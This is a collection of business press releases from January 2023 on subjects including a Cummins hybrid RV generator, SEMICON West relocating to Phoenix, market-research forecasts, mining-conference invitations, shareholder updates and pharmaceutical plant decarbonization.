True to this mission, in September 2022, the Company acquired 100% of Mitigation Solutions, LLC (MSL), now a wholly owned subsidiary of WSRC. With the acquisition of MSL by WSRC, MSL's Principals have joined the WSRC management team. Scott Hastings was appointed to the WSRC Board of Directors and became its Chief Operating Officer. Jeff H. Jones was named Special Advisor to the WSRC Board of Directors. MSL's Principals and team members bring a combined 200 years of disaster response/relief, mitigation, and restoration experience to the Company. MSL has, since September 2022, successfully contracted, and initiated the 7-10 year, $1.5 - $2 Billion Twitchell Dam and Reservoir Mitigation Project in Santa Barbara County, CA, which has commenced under the Federal Declaration.

Forward Looking Statements:

This release includes "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Such statements include any that may predict, forecast, indicate, or imply future results, performance. or achievements, and may contain the words "estimate", "project", "intend", "forecast", "anticipate", "plan", "planning", "expect", "believe", "likely", "should", "could", "would", "may" or similar words or expressions. Such statements are not guarantees of future performance and are subject to risks and uncertainties that could cause the company's actual results and financial position to differ materially from those in such statements, which involve risks and uncertainties, including those relating to the Company's ability to grow. Actual results may differ materially from those predicted and any reported should not be considered an indication of future performance. Potential risks and uncertainties include the Company's operating history and resources, together with all usual and common economic, competitive, and equity market conditions / risks.

Contact:

Western Sierra Resource Corporation

westernsierraresource.com

ir@westernsierraresource.com

Twitter | Facebook | LinkedIn | Telegram

@WSRCorp

SOURCE: Western Sierra Resource Corp.

View source version on accesswire.com:https://www.accesswire.com/736472/Western-Sierra-Resource-Corporation-Shareholder-Update
NORTHAMPTON, MA / ACCESSWIRE / January 24, 2023 / Cummins

Global power and technology leader Cummins Inc. has been showcasing its new concept hybrid power system to help recreational vehicles (RVs) reduce emissions and noise.

The system blends lithium battery technology with Onan RV generators to create a cleaner and quieter power package that also offers smart load management with a simple user interface.

The system allows campers to go out further and stay out longer without the fear of running out of power when they don't have access to grid electricity.

The company recently displayed the power system at the Florida RV SuperShow, Jan. 18-22 at the Florida State Fairgrounds in Tampa.

"In order to make people's lives better by powering a more prosperous world, the exploration of new technology is not only the right move for our business, but vital for a road to a more sustainable future," said Theodosia Rush, General Manager of Cummins Mobile Power.

The concept system features an Onan QG 2800i generator, a 6.7kW-h automotive grade lithium-ion battery pack, and a unique power distribution hub. The power distribution hub contains the inverter, converter, and charger components in a compact package size.

Combining the 2.8kW generator with the lithium-ion battery allows RV users to have the same amount of accessible power as a larger 5kW generator with fewer emissions and less noise or vibration. The smart system is also solar ready, accepting up to 500W of solar input.

Cummins is dedicated to making it possible for RV users to enjoy more freedom on their adventures. The concept system combines the best aspects of lithium-ion and fixed-mount generator technology. The batteries provide silent operation, and the onboard generator ensures those batteries never deplete to zero charge.

The system supports the company's aspiration for a world with net-zero emissions. The transition to a decarbonized future starts now, but it will take time for it to be fully realized. During this technology transition, Cummins is committed to providing a portfolio of power solutions to meet the evolving needs of the RV industry.

The 2024 California Air Resource Board (CARB) Small off-road engine (SORE) compliant, hybrid concept is an important step that direction.

To further solidify Cummins' commitment to the RV industry, the Power Systems segment has aligned a special group of cross functional experts focused entirely on delivering optimized auxiliary power solutions for recreational and commercial vehicles.

Cummins is excited about this dynamic industry's future and will continue to make the strategic decisions that make people's lives better.

Cummins Corporate Office Building in Columbus, Indiana.

View additional multimedia and more ESG storytelling from Cummins Inc. on 3blmedia.com.

Contact Info:

Spokesperson: Cummins Inc.

Website: https://www.3blmedia.com/profiles/cummins-inc

Email: info@3blmedia.com

SOURCE: Cummins Inc.

View source version on accesswire.com:https://www.accesswire.com/736520/Cummins-Concept-System-Helps-RV-Users-Reduce-Emissions-and-Noise
MILPITAS, Calif., Jan. 24, 2023 /PRNewswire/ -- A fixture in the San Francisco Bay Area for more than 50 years, SEMICON West is moving to Phoenix for a five-year annual rotation starting in 2025 and shifting from its longstanding July event dates to October beginning in 2024, SEMI announced today. The event, North America's premier microelectronics exhibition and conference, will be held again in Arizona in 2027 and 2029, with all three appearances at the Phoenix Convention Center.

"SEMI is excited to bring SEMICON West to Phoenix, a booming semiconductor manufacturing hub, in October 2025," said Joe Stockunas, president of SEMI Americas, host of the exhibition and conference. "Greater Phoenix is home to more than 75 semiconductor companies including SEMI members EMD Electronics, Intel and Taiwan Semiconductor Manufacturing Company (TSMC), and the sector employs more than 100,000 with more jobs on the way. As recent investments in chip manufacturing in the area have made abundantly clear, Phoenix embodies the drive by SEMI and the industry at large toward greater innovation."

"SEMI thanks the Greater Phoenix Economic Council (GPEC), Arizona Commerce Authority (ACA), and the city of Phoenix for their tremendous support as we make this important move," Stockunas added.

"We're proud to welcome SEMICON West to Arizona!" said Governor Katie Hobbs. "Arizona has become a global leader in chip manufacturing and innovation, with rapid growth across our entire semiconductor ecosystem. We look forward to joining with local partners and SEMICON West to welcome industry leaders from around the globe and showcase why Arizona has become the world's leading destination for new chip investments."

"The recent expansion of the semiconductor industry in Phoenix has been transformative," said Phoenix Mayor Kate Gallego. "We are already benefiting from new jobs, new suppliers, new housing, new educational opportunities, and new businesses that are excited to relocate here. SEMICON West's presence will underscore and amplify Phoenix's commitment to attracting and growing our advanced manufacturing and semiconductor industries." Mayor Gallego also thanked the Arizona Commerce Authority, Greater Phoenix Economic Council, Visit Phoenix, and city staff for the collaborative efforts to bring SEMICON West to Phoenix.

In November, the state of Arizona announced a $100 million investment in semiconductor industry research and development under the U.S. CHIPS and Science Act to consolidate the state's competitive position. And in December, TSMC announced plans to triple its fab investments in Phoenix to $40 billion, facilities that are expected to create 13,000 high-tech jobs, and produce leading-edge 3-nanometer chips at the new factory by 2026. The Phoenix site features two fabs with enough space to add four more.

Greater Phoenix is also a rich source of new talent for local semiconductor companies. The Arizona State University engineering program is the largest in the United States, with more than 30,000 students, including 7,000 focused on microelectronics-related fields. The Maricopa Community Colleges have also made significant investments in quick-start programs to bring even more technicians online.

Phoenix will first host SEMICON West Oct. 7-9, 2025. The event will continue to be held at the Moscone Center in San Francisco on the alternating years and over the long term.

The event changes do not affect this year's SEMICON West, scheduled for July 11-13 at the Moscone Center.

Follow SEMICON West on Twitter: SEMICONWest

About SEMI

SEMI connects more than 2,500 member companies and 1.3 million professionals worldwide to advance the technology and business of electronics design and manufacturing. SEMI members are responsible for the innovations in materials, design, equipment, software, devices, and services that enable smarter, faster, more powerful, and more affordable electronic products. Electronic System Design Alliance (ESD Alliance), FlexTech, the Fab Owners Alliance (FOA), the MEMS & Sensors Industry Group (MSIG) and SOI Consortium are SEMI Strategic Technology Communities. Visit www.semi.org to learn more, contact one of our worldwide offices, and connect with SEMI on LinkedIn and Twitter .

Association Contact

Michael Hall/SEMI US

Phone: 1.408.943.7988

Email: mhall@semi.org

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CHICAGO, Jan. 24, 2023 /PRNewswire/ -- Inspection Machines Market is projected to reach USD 905 million by 2027 from USD 721 million in 2022, at a CAGR of 4.7% during the forecast period according to a new report by MarketsandMarkets. The growth of this market is majorly driven as companies are now increasingly adopting inspection systems throughout their production lines due to the increasing issues in the mandates of regulatory introduced by the government.





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Inspection Machines Market Scope:

Report Coverage Details Market Size USD 905 million by 2027 Growth Rate 4.7% of CAGR Largest Market North America Market Dynamics Drivers, Restraints, Opportunities & Challenges Forecast Period 2022-2027 Forecast Units Value (USD Million) Report Coverage Revenue Forecast, Competitive Landscape, Growth Factors, and Trends Segments Covered Product, Type, Packaging Type, End User Geographies Covered North America, Europe, Asia Pacific, Latin America, and the Middle East and Africa Report Highlights Updated financial information / product portfolio of players Key Market Opportunities Technological advancement Key Market Drivers The increasing number of inspection checkpoints throughout the production line

The combination system segment is expected to grow at the highest CAGR during the forecast period

On the basis of product, the inspection machines market is divided into vision inspection systems, X-ray inspection systems, combination systems, checkweighers, metal detectors, software, leak detection systems, and other inspection systems. During the forecast period (2022-2027), the combination system segment is projected to witness the highest growth in the inspection machines market. The growth of this segment is driven by factors including, minimal human inspection, and the rising demand for faster inspection of products.

The fully automated machines segment is expected to account for the largest share of the inspection machines market

On the basis of type, the inspection machines market is divided into fully automated machines, semi-automated machines, and manual machines. In 2021, the fully automated machines segment dominated the inspection machines market in 2021, based on market share. Factors responsible for the highest share of this segment include, high detection and throughput rate, and high inspection accuracy as compared to other systems.

Syringes segment is expected to grow at the highest rate during the forecast period

On the basis of packaging type, the inspection machines market is divided into syringes, blister, bottles, ampoules & vials, and other packaging types. During the forecast period (2022-2027), the syringes segment is expected to grow at the highest CAGR. The factor responsible for growth is that syringes are growth in adoption for injectable vaccines and drug delivery.

By end-user, the pharmaceutical & biotechnology companies is expected to account for the largest share of the inspection machines market in 2021

The inspection machines market, by end-user, is divided into medical device manufacturers, pharmaceutical & biotechnology companies, food processing & packaging companies, and other end-users (nutraceuticals and cosmetic companies). In 2021, the pharmaceutical & biotechnology companies segment accounted for the largest market share. Factors responsible for the high market share of this segment are, emerging markets and growing biotechnology and pharmaceutical companies, stringent government regulations.

During the forecast period Asia Pacific is expected to account for the highest CAGR in the inspection machines market

During the forecast period 2022-2027, the Asia Pacific inspection machines market is expected to grow at the highest CAGR. Factors such as the significant economic development in emerging markets such as China and India, growth in the inspection machine market in Asia pacific region is expected to drive the growth of this market during the forecast period.

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Inspection Machines Market Dynamics:

Drivers:

Growing mandates to maintain GMP compliance Increasing pharmaceutical & biotechnology R&D expenditure Growing product recalls Increasing inspection checkpoints throughout production Growth in medical devices industry

Restraints:

Growing demand for refurbished equipment due to high cost of inspection machines Lack of access in emerging markets

Opportunities:

Technological advancements Rising outsourcing of manufacturing operations to emerging economies

Challenges:

Complexities in integrating inspection machines

Key Market Players:

The prominent players in this market are Robert Bosch GmbH (Germany), Korber AG (Germany), METTLER-TOLEDO International Inc. (US), Thermo Fisher Scientific (US), and Teledyne Technologies Incorporated (US).

Recent Developments:

In 2022, METTLER TOLEDO International Inc. launched combination checkweighing and serialization system for pharma and cosmetics producers.

International Inc. launched combination checkweighing and serialization system for pharma and cosmetics producers. In 2022, OPTEL acquires pharma track & trace unit of Korber. The acquisition, would allow OPTEL to leverage the unit's expertise in pharmaceutical and agrochemical track & trace technologies, provide the company with a second foothold in the European marketplace and contribute to its diversification plans.

In 2021, Cognex Corporation Launched the In-Sight 3D-L4000 Vision System.

In 2021, Antares Product Inspection Global Centre of Excellence for X-ray in Hertfordshire, UK increases the UK manufacturing footprint for x-ray inspection technologies by more than 80%.

increases the UK manufacturing footprint for x-ray inspection technologies by more than 80%. In 2020, Antares partnered with IMA; a company engaged in the design & production of machines for process automation and packaging of pharmaceutical & cosmetic products.

In 2020, Thermo Scientific Sentinel 1000 Selectscan Metal Detector system features two technologies intended to help food and personal care manufacturers achieve a higher level of safety and quality.

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Browse Adjacent Market: Pharmaceuticals Market Research Reports & Consulting

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Toronto, Ontario--(Newsfile Corp. - January 24, 2023) - NurCapital Corporation Ltd. (TSXV: NCL.H) (the "Company") is pleased to announce that all matters submitted to shareholders for approval as set out in detail in the Company's management information circular ("Circular") dated December 28, 2022 were approved at the annual general and special meeting of the shareholders of the Company held on January 19, 2023 (the "Meeting"). At the Meeting, MNP Canada LLP was appointed as the auditor of the Company and the incumbent members of the board of directors, being Sharief Zaman, John Ryan, Nadeem Ansari, Barry Polisuk, and Irshad Ali were elected.

In addition to the above, disinterested shareholders of the Company voted in favour of the following resolutions proposed in the Circular, thereby implementing the certain changes needed to transition to the TSX Venture Exchange's Policy 2.4 - Capital Pool Companies effective as at January 1, 2021 ("Policy 2.4"):

(i) repealing the current stock option plan dated June 1, 2015 and approving the proposed stock option plan that properly reflects Policy 2.4, as more fully described in the Circular;

(ii) authorizing the Company to make certain amendments to the escrow release conditions and certain other provisions of the Company's capital pool company ("CPC") escrow agreement, including allowing the escrowed securities to be subject to an 18-month escrow release schedule; and

(iii) permitting payment of a finder's fee or commission to a non-arm's length party to the Company upon completion of a qualifying transaction, as more fully described in the Circular.

Please refer to the Company's news release dated December 2, 2022 and the Circular for further details with respect to the amendments associated with the new Policy 2.4.

The Company has received conditional acceptance by the TSX Venture Exchange (the "TSXV") of the above CPC transition matters approved by shareholders and expects to receive final acceptance pending fulfillment of customary requirements as set out by the TSXV.

For further information on the Company, please contact:

Sharief Zaman, Director

Telephone: 416-754-4135

Email: info@nurcapital.ca

NEITHER THE TSX VENTURE EXCHANGE INC. NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

Cautionary Note Regarding Forward-Looking Statements

This press release contains statements that constitute "forward-looking information" (collectively, "forward-looking statements") within the meaning of the applicable Canadian securities legislation, all statements, other than statements of historical fact, are forward-looking statements and are based on expectations, estimates and projections as at the date of this news release. Any statement that discusses predictions, expectations, beliefs, plans, projections, objectives, assumptions, future events or performance (often but not always using phrases such as "expects", or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans", "budget", "scheduled", "forecasts", "estimates", "believes" or "intends" or variations of such words and phrases or stating that certain actions, events or results "may" or "could", "would", "might" or "will" be taken to occur or be achieved) are not statements of historical fact and may be forward-looking statements. Forward-looking statements contained in this press release include, without limitation, statements regarding: resumption of trading receipt of requisite shareholder or regulatory approvals; the business and operations of the Company; and use of funds. In making the forward-looking statements contained in this press release, the Company has made certain assumptions, including that trading in the shares of the Company will resume as anticipated. Although the Company believes that the expectations reflected in forward-looking statements are reasonable, it can give no assurance that the expectations of any forward-looking statements will prove to be correct. Known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: delay or failure to receive board, shareholder, stock exchange or other regulatory approvals and general business, economic, competitive, political and social uncertainties and economic risks associated with current unprecedented market and economic circumstances due to the COVID-19 pandemic. Accordingly, readers should not place undue reliance on the forward-looking statements and information contained in this press release. Except as required by law, the Company disclaims any intention and assumes no obligation to update or revise any forward-looking statements to reflect actual results, whether as a result of new information, future events, changes in assumptions, changes in factors affecting such forward-looking statements or otherwise.

NOT FOR DISSEMINATION IN THE UNITED STATES OR THROUGH U.S. NEWS WIRES

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152305
NORTHAMPTON, MA / ACCESSWIRE / January 24, 2023 / As we begin the year 2023, an intriguing question is what more is in store for public sector action to address critical climate change challenges? After all, we are entering year three of the Biden-Harris Administration's "Whole of Government" strategies (they took office January 2021). Upon settling into the Oval Office, President Biden quickly returned to the historic Paris Agreement that was abandoned by his predecessor.

Within days, the administration created a sweeping approach to aligning Federal government strategies, action, finances and more -- formalized in an Executive Order (issued January 27, 2021(titled, "Tackling the Climate Crisis at Home and Abroad". Main sections, with voluminous detailed actions, included:

"Putting the Climate Crisis at the Center of US Foreign Policy and National Security"

"Taking a Government-Wide Approach to the Climate Crisis"

"Use of the Federal Government Buying Power and Real Property and Asset Management"

"Empowering Workers Through Rebuilding Our Infrastructure for a Sustainable Economy"

"Empowering Workers by Advancing Conservation, Agriculture, and Reforestation"

"Empowering Workers Through Vitalizing Energy Communities"

"Securing Environmental Justice and Spurring Economic Opportunity"

The introduction to this sweeping Executive Order stated: "The U.S. and the world face a profound climate crisis. We have a narrow moment to pursue action at home and abroad in order to avoid the most catastrophic impacts of that crisis and to seize the opportunity that tackling climate change presents."

President Biden enlisted all of the cabinet agencies and many organs of the Federal government in the effort, and instructed that "the buying power of Federal procurement and real property, public lands and waters, and financial programs" be aligned to support robust climate action.

His call to action stated that an "immediate, clear, and stable source of product demand, increased transparency and data, and robust standards for the marketwill help to catalyze private sector investment into, and accelerate the advancement of America's industrial capacity to supply, domestic energy, buildings, vehicles, and other [necessary] products and materials."

The power and prestige of the United States would be a priority in relations with other nations and such multilateral organizations as the G7, the G20, and other forums on climate change actions. In focus: clean energy, aviation, shipping, the oceans, the Arctic, sustainable development, and migration (a 2023 critical issue for sure).

In this issue, the G&A team has selected for you timely updates on "how we're doing" with the Biden plan. The recent storms battering California, the Heartland states, and coastal areas are constant reminders of how serious the climate crisis has become.

We are seeing public sector action increasing along the same lines on the European continent as well, and we have included updates on that for you as well. As you explore the European Union actions that will affect many U.S. multinational companies, we should not lose sight of the sweep of the January 2021 Executive Order issued at the start of the Biden-Harris Administration.

Here's the document for you: https://www.whitehouse.gov/briefing-room/presidential-actions/2021/01/27/executive-order-on-tackling-the-climate-crisis-at-home-and-abroad/

And here is an example of follow up from July 2022:

https://www.whitehouse.gov/briefing-room/statements-releases/2022/07/20/fact-sheetpresident-bidens-executive-actions-on-climate-to-address-extreme-heat-and-boost-offshore-wind/

We look forward to keeping you updated throughout 2023 on further actions by the public sector in the U.S. and the EU to address the climate crisis.

This is just the introduction of G&A's Sustainability Highlights newsletter this week. Click here to view the full issue.

View additional multimedia and more ESG storytelling from Governance & Accountability Institute, Inc. on 3blmedia.com.

Contact Info:

Spokesperson: Governance & Accountability Institute, Inc.

Website: https://www.3blmedia.com/profiles/governance-accountability-institute-inc

Email: info@3blmedia.com

SOURCE: Governance & Accountability Institute, Inc.

View source version on accesswire.com:https://www.accesswire.com/736524/What-Will-2023-Bring-in-Climate-Crisis-Action-by-the-Public-Sector
Montreal, Quebec--(Newsfile Corp. - January 24, 2023) - Osisko Metals (TSXV: OM) would like to cordially invite you to visit us at Booth #403 at the Vancouver Resource Investment Conference (VRIC) to be held at the Vancouver Convention Centre West (1055 Canada Place, Vancouver) on Sunday January 29 - Monday January 30, 2023.

Notable keynote speakers include former Premier of BC Christy Clark and former Premier of Saskatchewan, Brad Wall. Other keynote speakers will include dozens of globally respected economists, legendary money managers, and investors.

"We are entering a new era of de-globalization. The trust that allowed for global trade over the last 30 years has shifted irreversibly and countries are now scrambling to secure supplies of natural resources as a matter of national security. As a result, demand for key resources, will skyrocket. We have gathered over 300 companies that are exploring for and producing these natural resources so investors can position themselves accordingly," said Jay Martin, Host of the Vancouver Resource Investment Conference.

For more information and/or to register for the conference please visit: https://cambridgehouse.com/vancouver-resource-investment-conference.

We look forward to seeing you there.

About the Vancouver Resource Investment Conference:

The Vancouver Resource Investment Conference has been the epicentre of junior mining investment in Canada for 25 years and attracts over 5000 mining investors annually. Previous years have been attended by former Prime Minister Stephen Harper and former President of Mexico Felipe Calderon.

The VRIC will include a marketplace of over 300 investment opportunities in the mining industry, spanning early-stage exploration to advanced producing mines.

For further information:

Kimberly Darlington

Investor Relations

(514) 989-7970

kimberly@refinedsubstance.com

https://osiskometals.com/
Montreal, Quebec--(Newsfile Corp. - January 24, 2023) - Brunswick Exploration Inc. (TSXV: BRW) would like to cordially invite you to visit us at Booth #405 at the Vancouver Resource Investment Conference (VRIC) to be held at the Vancouver Convention Centre West (1055 Canada Place, Vancouver) on Sunday January 29 - Monday January 30, 2023.

Notable keynote speakers include former Premier of BC Christy Clark and former Premier of Saskatchewan, Brad Wall. Other keynote speakers will include dozens of globally respected economists, legendary money managers, and investors.

"We are entering a new era of de-globalization. The trust that allowed for global trade over the last 30 years has shifted irreversibly and countries are now scrambling to secure supplies of natural resources as a matter of national security. As a result, demand for key resources, will skyrocket. We have gathered over 300 companies that are exploring for and producing these natural resources so investors can position themselves accordingly," said Jay Martin, Host of the Vancouver Resource Investment Conference.

For more information and/or to register for the conference please visit: https://cambridgehouse.com/vancouver-resource-investment-conference.

We look forward to seeing you there.

About the Vancouver Resource Investment Conference:

The Vancouver Resource Investment Conference has been the epicentre of junior mining investment in Canada for 25 years and attracts over 5000 mining investors annually. Previous years have been attended by former Prime Minister Stephen Harper and former President of Mexico Felipe Calderon.

The VRIC will include a marketplace of over 300 investment opportunities in the mining industry, spanning early-stage exploration to advanced producing mines.

For further information:

Kimberly Darlington

Investor Relations

(514) 989-7970

kimberly@refinedsubstance.com

https://brwexplo.ca/
The market report is a good combination of qualitative and quantitative data that highlights significant market changes, obstacles that business and the competition must overcome, as well as new possibilities and trends in the global Calcium Carbonate Market.

JERSEY CITY, N.J., Jan. 24, 2023 /PRNewswire/ -- Verified Market Research recently published a report, "Calcium Carbonate Market" By Type (Precipitated Calcium Carbonate (PCC), Ground Calcium Carbonate (GCC)), By End User Industry (Paper and Pulp, Plastic), and By Geography.





As per the deep research carried out by Verified Market Research, the global Calcium Carbonate Market size was valued at USD 41.23 Million in 2021 and is projected to reach USD 66.18 Million by 2030, growing at a CAGR of 5.40% from 2023 to 2030.

Download PDF Brochure: https://www.verifiedmarketresearch.com/download-sample/?rid=32173

Browse in-depth TOC on "Calcium Carbonate Market"

202 - Pages

126 - Tables

37 - Figures

Global Calcium Carbonate Market Overview

Calcium carbonate is a white, odourless, non-toxic chemical compound found naturally in the earth's crust. Furthermore, it is a component of chalk, limestone, and marble. Calcium carbonate is mined or quarried for use in industrial processes. It comes in two varieties: precipitated calcium carbonate (PCC) and ground calcium carbonate (GCC). PCC has extremely fine and controlled particle sizes, whereas GCC has a powdery-like texture with varying grade sizes. Calcium carbonate is widely used as a filler in the paper and pulp industries due to its high brightness and light scattering properties. It is also used in the paint and coatings industries as a coating pigment.

The calcium carbonate market is gaining traction, owing to high demand from the paper and pulp industries. Furthermore, it is widely used as an inexpensive white pigment in the paints and coatings industries, boosting the market. Calcium carbonate is in high demand from plastics manufacturers because it is used in a variety of thermoplastics and thermosets. Calcium carbonate is produced at a low cost, so it is preferred as a low-cost ingredient by most industries.

Verified Market Research narrows down the available data using primary sources to validate the data and use it in compiling a full-fledged market research study. The report contains a quantitative and qualitative estimation of market elements that interests the client. The "Global Calcium Carbonate Market" is mainly bifurcated into sub-segments which can provide classified data regarding the latest trends in the market.

Key Players

The "Global Calcium Carbonate Market" study report will provide valuable insight with an emphasis on the global market. The major players in the market are Sibelco, Omya AG, Mississippi Lime Company, Calcinor SA, Imerys, Huber Engineered Materials, Midwest Calcium Carbonate, and Excalibar Minerals LLC.

Based on the research, Verified Market Research has segmented the global Calcium Carbonate Market into Type, End User Industry, and Geography.

Calcium Carbonate Market, by Type

Precipitated Calcium Carbonate (PCC)



Ground Calcium Carbonate (GCC)

Calcium Carbonate Market, by End User Industry

Paper and Pulp



Plastic



Paints and Coatings



Others

Calcium Carbonate Market, by Geography

North America



U.S





Canada





Mexico



Europe



Germany





France





U.K





Rest of Europe



Asia Pacific



China





Japan





India





Rest of Asia Pacific



ROW



Middle East & Africa

&



Latin America

Browse Related Reports:

Calcium Nitrate Market By Type (Agricultural Grade, Industrial Grade), By Application (Fertilizers, Wastewater Treatment Chemicals, Concrete Manufacturing), By Geography, And Forecast

Glycinates Market By Form (Dry, Liquid), By Type (Magnesium Glycinate, Zinc Glycinate, Calcium Glycinate, Copper Glycinate), By Application (Pharmaceuticals/Nutraceuticals, Food Additives), By Geography, And Forecast

Calcite Market By Type (Ground Calcium Carbonate and Precipitated Calcium Carbonate), By Application (Paper, Paints & Coatings, Construction, Plastics, Adhesives & Sealants), By Geography, And Forecast

Calcium Carbonate for Paper Market By Product (Precipitated Calcium Carbonate (PCC), Ground Calcium Carbonate (GCC)), By Application (Paper Industry, Paperboard Industry), By Geography, And Forecast

Top 7 Calcium Formate Manufacturers stopping formation of side reaction products

Visualize Calcium Carbonate Market using Verified Market Intelligence:

Verified Market Intelligence is our BI Enabled Platform for narrative storytelling in this market. VMI offers in-depth forecasted trends and accurate Insights on over 20,000+ emerging & niche markets, helping you make critical revenue-impacting decisions for a brilliant future.

VMI provides a holistic overview and global competitive landscape with respect to Region, Country, Segment, and Key players of your market. Present your Market Report & findings with an inbuilt presentation feature saving over 70% of your time and resources for Investor, Sales & Marketing, R&D, and Product Development pitches. VMI enables data delivery In Excel and Interactive PDF formats with over 15+ Key Market Indicators for your market.

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Verified Market Research is a leading Global Research and Consulting firm servicing over 5000+ customers. Verified Market Research provides advanced analytical research solutions while offering information-enriched research studies. We offer insight into strategic and growth analyses, Data necessary to achieve corporate goals and critical revenue decisions.

Our 250 Analysts and SMEs offer a high level of expertise in data collection and governance use industrial techniques to collect and analyze data on more than 15,000 high impact and niche markets. Our analysts are trained to combine modern data collection techniques, superior research methodology, expertise and years of collective experience to produce informative and accurate research.

We study 14+ categories from Semiconductors & Electronics, Chemicals, Advanced Materials, Aerospace & Defense, Energy & Power, Healthcare, Pharmaceuticals, Automotive & Transportation, Information & Communication Technology, Software & Services, Information Security, Mining, Minerals & Metals, Building & Construction, Agriculture industry and Medical Devices from over 100 countries.

Contact Us

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Verified Market Research

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View original content:https://www.prnewswire.co.uk/news-releases/calcium-carbonate-market-is-expected-to-generate-a-revenue-of-usd-66-18-million-by-2030--globally-at-5-40-cagr-verified-market-research-301729321.html
NORTHAMPTON, MA / ACCESSWIRE / January 24, 2023 / CRB



Moving past natural gas and electric boilers to achieve the industry's decarbonization goals.

For pharma and biotech manufacturers, keeping up with this cultural and regulatory shift toward meaningful climate action and corporate sustainability goals is a complex challenge. It takes a lot of energy to manufacture a drug; sourcing that energy sustainably involves a matrix of innovative solutions. As sustainability in pharma manufacturing gains momentum, there is one opportunity for significant energy efficiency and decarbonization that is often overlooked: the plant's heating design.

A sustainable heating strategy for pharma

Too often, engineering and design teams reduce their heating design's carbon footprint by simply electrifying their steam and heating hot water boilers. There are good reasons for that: electric resistance boilers are a familiar technology, and they perform reliably (hot water boilers are capable of heating water to 180F, for example). Plus, the pathway from gas-powered to electricity-powered steam or hot water generation is relatively straightforward, with no complex mechanical engineering required.

But thinking of electric boilers as the best path toward decarbonization for a pharma facility is a mistake. Choosing to rely heavily on electrified steam and hot water boilers diverts facilities away from much more efficient energy strategies. For that reason alone, electric boilers ought to be the last resort within pharma's sustainability strategy.

The intense electrification from an electric boiler strategy also precipitates a surge in energy demands that some utility districts may not be ready for, which could actually strain the plant's redundancy strategy-does your plant have sufficient backup and energy storage available in case of a grid failure?

Decarbonization for the pharma industry goes beyond electric boilers

A pharma facility's heating needs are vast. Sterilizing cleanroom environments, producing water for injection (WFI), maintaining a comfortable working temperature, and managing snowmelt-all of these functions rely on a source of heat. The thing is, only a small fraction of them actually require steam boilers.

Sterilization is the exception. Today, it's only possible using steam, and steam relies on boiler technology. Thus begins a slippery slope towards "boiler dependence": once a pharma facility has steam boilers in place for sterilization, they're incentivized to use that steam elsewhere in order to keep the boilers online and avoid frequent shutdown and startup cycles. In other words, the steam boilers often becomes the go-to heat source for all functions simply because it's there.

When a pharma client recently asked the CRB team to audit their thermal energy use, we discovered that of the 12 systems currently using steam, only three actually require it-just 16% of their current steam-based processes.

So how can facility teams design excessive boiler dependence out of their plants and turn to more efficient, economical, and sustainable solutions for meeting their heating needs and decarbonization goals? A sustainable heating strategy focuses on three Rs: reduce before you produce, recover energy, and reverse-cycle heat pumps.

This strategy draws from the familiar concept of the conservation pyramid, which can take many forms but typically starts with proactive decision-making (reduce before you produce), then moves to efficiency-intensive action (recover energy, rather than generate it), and concludes with technological solutions that embrace and enable the first two. Pharma and biotech companies can apply these principles across their plants to help achieve decarbonization goals; in the specific arena of sustainable heating design, this three-pronged approach develops a virtuous cycle of reduced demand and increased reuse.

A well-designed heat pump system maximizes energy efficiency gains. Unlike electric resistance boilers, which convert energy and are therefore subject to the first law of thermodynamics, heat pumps are designed to move energy. That puts them in a category all their own in terms of efficiency. While gas boilers offer an average Coefficient of Performance (COP) of 0.9, plant owners can use heat pumps to reach a COP north of 8.0. That's a staggering 800%+ increase in efficiency.

Meaningful environmental and financial sustainability in pharma is possible when facilities put this level of efficiency to use inside a plant that's already reducing and recovering as much energy as possible.

Below is a hypothetical comparison based off of real-world, zero-carbon heating designs developed by the CRB sustainability team. Through our work, we typically find 50-75% energy savings.

*Assumptions

Boiler Horsepower (BHP) = 33,479 btu = 9812 watts

Boiler Horsepower = ~10 kW

It's not uncommon to:

Eliminate 10-60% steam to ECMs (including AWFI conversion)

Convert 60-80% steam to Heating Hot Water

Electrify the remaining ~5-30% steam process using electric boilers

Standard abbreviations:

BHP: Boiler Horsepower

Boiler Horsepower HHW: Heating Hot Water

Heating Hot Water MW: Megawatts

Megawatts KW: Kilowatt

Kilowatt A: Amps

Amps KV: Kilovolt

Kilovolt ECM: Energy Conservation Measure

Energy Conservation Measure COP: Coefficient of Performance

Coefficient of Performance NG: Natural Gas

Applying sustainable heating best practices

1. How can pharma manufacturers reduce heating needs?

It's much easier for project teams to lower a manufacturing facility's carbon footprint and improve energy efficiency in a meaningful way when they establish corporate sustainability goals from day one to support a proactive design approach. It is in those early days of design that reduction best practices need to be introduced, planned for and incorporated. That's why "reduction" is the first step toward decarbonization. Achieving similar outcomes through renovations or incremental process improvements in an existing plant is possible, but it is much more difficult and expensive.

In the context of sustainable heating design for a pharma manufacturer, reduction can take many forms, including:

Designing the building envelope to prevent heat loss and thereby reduce the plant's heating burden.

Optimizing the amount of outside ventilation air, especially for spaces that require 100% single-pass air.

Rethinking the way a plant generates water for injection (WFI).

Example: eliminate WFI by distillation

Methods of water for injection generation have the potential to significantly reduce a plant's heating load, and it's a good example of the outsized role that steam production has occupied in traditional pharma manufacturing even as other, more sustainable options emerge.

Until 2017, manufacturers were required to distill their WFI if they planned to sell their product to the European market. This meant superheating feed water into pure steam before cooling it-a process that requires significant energy. In a recent CRB site study on behalf of a client, we found that 50% of the facility's natural gas usage was attributed to this single process step. Even if that facility were to reduce their fossil fuel consumption by converting to electric boilers, they would still find themselves committing immense energy resources to WFI by distillation.

Today, the European Pharmacopoeia no longer requires distillation in WFI production. This regulatory shift has opened the door to more efficient approaches.

A client of ours recently walked through that door. This California-based commercial biologics CDMO began producing WFI without a distillation step-that is, their WFI is ambient rather than hot (AWFI versus HWFI). Using a continuous O3 sanitized storage tank with electrically heated backup sanitization, this client generates their AWFI using membrane-based techniques including two-pass reverse osmosis (RO), electrodeionization (EDI), and ultrafiltration (UF). This approach has freed them from the need for a facility steam system, which has helped them reduce their heating load and the associated costs.

2. How can pharma manufacturers recover heat?

If reducing the heating requirement inside a plant is the best first step, then recovering existing heat is a close second-and the two strategies work closely together, each complementing the other.

